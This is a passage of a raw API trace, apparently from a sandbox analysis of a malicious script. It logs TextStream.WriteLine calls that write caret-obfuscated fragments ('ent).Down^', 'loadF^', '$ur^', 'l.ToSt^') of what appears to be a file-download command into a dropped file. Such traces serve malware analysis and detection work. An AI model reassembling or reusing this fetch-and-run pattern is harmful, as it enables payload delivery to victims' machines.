pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87627a8, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.583] malloc (_Size=0x8) returned 0x249c884ee40 [0148.583] malloc (_Size=0x1a) returned 0x249ca443560 [0148.583] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0xd, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ent).Down^\"") returned 12 [0148.583] malloc (_Size=0x54) returned 0x249c884a540 [0148.583] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x2a, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.583] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x2a, _Source="\"ent).Down^\"", _MaxCount=0xc | out: _Destination="ITextStream.WriteLine(\"ent).Down^\"") returned 0x0 [0148.583] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ent).Down^\"", _SizeInWords=0x2a, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ent).Down^\");\r\n") returned 0x0 [0148.583] wcsncpy_s (in: _Destination=0x249ca4d5918, _SizeInWords=0x27, _Source="ITextStream.WriteLine(\"ent).Down^\");\r\n", _MaxCount=0x26 | out: _Destination="ITextStream.WriteLine(\"ent).Down^\");\r\n") returned 0x0 [0148.583] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.583] free (_Block=0x249ca443560) [0148.583] free (_Block=0x249c884ee40) [0148.583] free (_Block=0x249c884a540) [0148.584] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bd80*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ent).Down^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bd80*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ent).Down^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.584] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.584] SysReleaseString () returned 0x1 [0148.584] CoTaskMemFree (pv=0x249c8761b80) [0148.584] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.584] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.584] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.584] SysAddRefString () returned 0x0 [0148.584] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.584] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.584] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.584] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87627a8, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.584] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8763048, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.584] malloc (_Size=0x8) returned 0x249c884ed40 [0148.585] malloc (_Size=0x12) returned 0x249ca447930 [0148.585] _snwprintf_s (in: _DstBuf=0x249ca447930, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"loadF^\"") returned 8 [0148.585] malloc (_Size=0x4c) returned 0x249c884a540 [0148.585] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.585] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"loadF^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"loadF^\"") returned 0x0 [0148.585] wcscat_s (in: _Destination="ITextStream.WriteLine(\"loadF^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"loadF^\");\r\n") returned 0x0 [0148.585] wcsncpy_s (in: _Destination=0x249ca4d5966, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"loadF^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"loadF^\");\r\n") returned 0x0 [0148.585] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.585] free (_Block=0x249ca447930) [0148.585] free (_Block=0x249c884ed40) [0148.585] free (_Block=0x249c884a540) [0148.585] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bdc8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="loadF^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bdc8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="loadF^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.585] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.585] SysReleaseString () returned 0x1 [0148.585] CoTaskMemFree (pv=0x249c87614f0) [0148.585] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.585] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.586] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.586] SysAddRefString () returned 0x0 [0148.586] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.586] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.586] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.586] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8763048, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.586] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87629e8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.586] malloc (_Size=0x8) returned 0x249c884ed10 [0148.586] malloc (_Size=0x10) returned 0x249ca4477d0 [0148.586] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ile(^\"") returned 7 [0148.586] malloc (_Size=0x4a) returned 0x249c884a540 [0148.586] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.586] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"ile(^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"ile(^\"") returned 0x0 [0148.586] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ile(^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ile(^\");\r\n") returned 0x0 [0148.586] wcsncpy_s (in: _Destination=0x249ca4d59ac, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"ile(^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"ile(^\");\r\n") returned 0x0 [0148.586] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.597] free (_Block=0x249ca4477d0) [0148.597] free (_Block=0x249c884ed10) [0148.597] free (_Block=0x249c884a540) [0148.597] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44be10*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ile(^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44be10*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ile(^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.597] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.597] SysReleaseString () returned 0x1 [0148.597] CoTaskMemFree (pv=0x249c87614f0) [0148.597] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.597] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.598] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.598] SysAddRefString () returned 0x0 [0148.598] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.598] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.598] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.598] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87629e8, pBstrHelpFile=0x249c8758f60*="ꉰ졵ɉ") returned 0x0 [0148.598] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762a48, pBstrHelpFile=0x249c8758f60*="ꉰ졵ɉ") returned 0x0 [0148.598] malloc (_Size=0x8) returned 0x249c884eda0 [0148.598] malloc (_Size=0xe) returned 0x249ca447830 [0148.598] _snwprintf_s (in: _DstBuf=0x249ca447830, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"$ur^\"") returned 6 [0148.598] malloc (_Size=0x48) returned 0x249ca443560 [0148.598] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.598] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"$ur^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"$ur^\"") returned 0x0 [0148.598] wcscat_s (in: _Destination="ITextStream.WriteLine(\"$ur^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"$ur^\");\r\n") returned 0x0 [0148.598] wcsncpy_s (in: _Destination=0x249ca4d59f0, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"$ur^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"$ur^\");\r\n") returned 0x0 [0148.598] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.599] free (_Block=0x249ca447830) [0148.599] free (_Block=0x249c884eda0) [0148.599] free (_Block=0x249ca443560) [0148.599] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44be58*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="$ur^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44be58*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="$ur^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.599] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.599] SysReleaseString () returned 0x1 [0148.599] CoTaskMemFree (pv=0x249c8761b80) [0148.599] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.599] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.599] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.599] SysAddRefString () returned 0x0 [0148.599] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.599] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.599] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.600] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762a48, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.600] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762f28, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.600] malloc (_Size=0x8) returned 0x249c884ed10 [0148.600] malloc (_Size=0x14) returned 0x249ca447710 [0148.600] _snwprintf_s (in: _DstBuf=0x249ca447710, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"l.ToSt^\"") returned 9 [0148.600] malloc (_Size=0x4e) returned 0x249c884a540 [0148.600] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.600] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"l.ToSt^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"l.ToSt^\"") returned 0x0 [0148.600] wcscat_s (in: _Destination="ITextStream.WriteLine(\"l.ToSt^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"l.ToSt^\");\r\n") returned 0x0 [0148.600] wcsncpy_s (in: _Destination=0x249ca4d5a32, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"l.ToSt^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"l.ToSt^\");\r\n") returned 0x0 [0148.600] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.600] free (_Block=0x249ca447710) [0148.600] free (_Block=0x249c884ed10) [0148.600] free (_Block=0x249c884a540) [0148.600] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bea0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="l.ToSt^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bea0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="l.ToSt^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.600] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.600] SysReleaseString () returned 0x1 [0148.600] CoTaskMemFree (pv=0x249c8761700) [0148.600] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.601] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.601] CoTaskMemAlloc (cb=0x28) returned 0x249c8761550 [0148.601] SysAddRefString () returned 0x0 [0148.601] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.601] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.601] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.601] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762f28, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.601] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762aa8, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.601] malloc (_Size=0x8) returned 0x249c884ede0 [0148.601] malloc (_Size=0x10) returned 